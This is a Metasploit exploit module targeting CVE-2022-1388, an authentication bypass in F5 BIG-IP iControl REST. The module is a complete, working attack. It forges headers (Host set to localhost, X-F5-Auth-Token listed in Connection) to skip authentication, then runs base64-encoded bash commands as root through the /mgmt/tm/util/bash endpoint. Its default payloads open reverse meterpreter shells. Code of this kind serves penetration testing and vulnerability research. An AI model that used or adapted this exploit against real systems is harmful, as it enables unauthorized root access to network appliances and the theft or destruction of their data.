## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::CmdStager prepend Msf::Exploit::Remote::AutoCheck def initialize(info = {}) super( update_info( info, 'Name' => 'F5 BIG-IP iControl RCE via REST Authentication Bypass', 'Description' => %q{ This module exploits an authentication bypass vulnerability in the F5 BIG-IP iControl REST service to gain access to the admin account, which is capable of executing commands through the /mgmt/tm/util/bash endpoint. Successful exploitation results in remote code execution as the root user. }, 'Author' => [ 'Heyder Andrade', # Metasploit module 'alt3kx ', # PoC 'James Horseman', # Technical Writeup 'Ron Bowes' # Documentation of exploitation specifics ], 'References' => [ ['CVE', '2022-1388'], ['URL', 'https://support.f5.com/csp/article/K23605346'], ['URL', 'https://www.horizon3.ai/f5-icontrol-rest-endpoint-authentication-bypass-technical-deep-dive/'], # Writeup ['URL', 'https://github.com/alt3kx/CVE-2022-1388_PoC'] # PoC ], 'License' => MSF_LICENSE, 'DisclosureDate' => '2022-05-04', # Vendor advisory 'Platform' => ['unix', 'linux'], 'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64], 'Privileged' => true, 'Targets' => [ [ 'Unix Command', { 'Platform' => 'unix', 'Arch' => ARCH_CMD, 'Type' => :unix_cmd, 'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/python/meterpreter/reverse_tcp' } } ], [ 'Linux Dropper', { 'Platform' => 'linux', 'Arch' => [ARCH_X86, ARCH_X64], 'Type' => :linux_dropper, 'DefaultOptions' => { 'CMDSTAGER::FLAVOR' => :bourne, 'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp' } } ] ], 'DefaultTarget' => 1, # Linux Dropper avoids some timeout issues that Unix Command payloads sometimes encounter. 'DefaultOptions' => { 'RPORT' => 443, 'SSL' => true, 'PrependFork' => true, # Needed to avoid warnings about timeouts and potential failures across attempts. 'MeterpreterTryToFork' => true # Needed to avoid warnings about timeouts and potential failures across attempts. }, 'Notes' => { 'Stability' => [CRASH_SAFE], 'Reliability' => [REPEATABLE_SESSION], # Only one concurrent session 'SideEffects' => [ IOC_IN_LOGS, # /var/log/restjavad.0.log (rotated) ARTIFACTS_ON_DISK # CmdStager ] } ) ) register_options( [ OptString.new('TARGETURI', [true, 'The base path to the iControl installation', '/']), OptString.new('HttpUsername', [true, 'iControl username', 'admin']), OptString.new('HttpPassword', [true, 'iControl password', '']) ] ) register_advanced_options([ OptFloat.new('CmdExecTimeout', [true, 'Command execution timeout', 3.5]) ]) end def check print_status("Checking #{datastore['RHOST']}:#{datastore['RPORT']}") res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, '/mgmt/shared/authn/login'), 'method' => 'GET' }) return CheckCode::Unknown unless res&.code == 401 body = res.get_json_document return CheckCode::Safe unless body.key?('message') && body['kind'] == ':resterrorresponse' signature = Rex::Text.rand_text_alpha(13) stub = "echo #{signature}" res = send_command(stub) return CheckCode::Safe unless res&.code == 200 body = res.get_json_document return CheckCode::Safe unless body['kind'] == 'tm:util:bash:runstate' return CheckCode::Vulnerable if body['commandResult'].chomp == signature CheckCode::Safe end def exploit print_status("Executing #{target.name} for #{datastore['PAYLOAD']}") case target['Type'] when :unix_cmd execute_command(payload.encoded) when :linux_dropper execute_cmdstager end end def execute_command(cmd, _opts = {}) vprint_status("Executing command: #{cmd}") res = send_command(cmd) unless res print_warning('Command execution timed out') return end json = res.get_json_document unless res.code == 200 && json['kind'] == 'tm:util:bash:runstate' fail_with(Failure::PayloadFailed, 'Failed to execute command') end print_good('Successfully executed command') return unless (cmd_result = json['commandResult']) vprint_line(cmd_result) end def send_command(cmd) bash_cmd = "eval $(echo #{Rex::Text.encode_base64(cmd)} | base64 -d)" send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, '/mgmt/tm/util/bash'), 'ctype' => 'application/json', 'authorization' => basic_auth(datastore['HttpUsername'], datastore['HttpPassword']), 'headers' => { 'Host' => 'localhost', 'Connection' => 'keep-alive, X-F5-Auth-Token', 'X-F5-Auth-Token' => Rex::Text.rand_text_alpha_lower(6) }, 'data' => { 'command' => 'run', 'utilCmdArgs' => "-c '#{bash_cmd}'" }.to_json }, datastore['CmdExecTimeout']) end end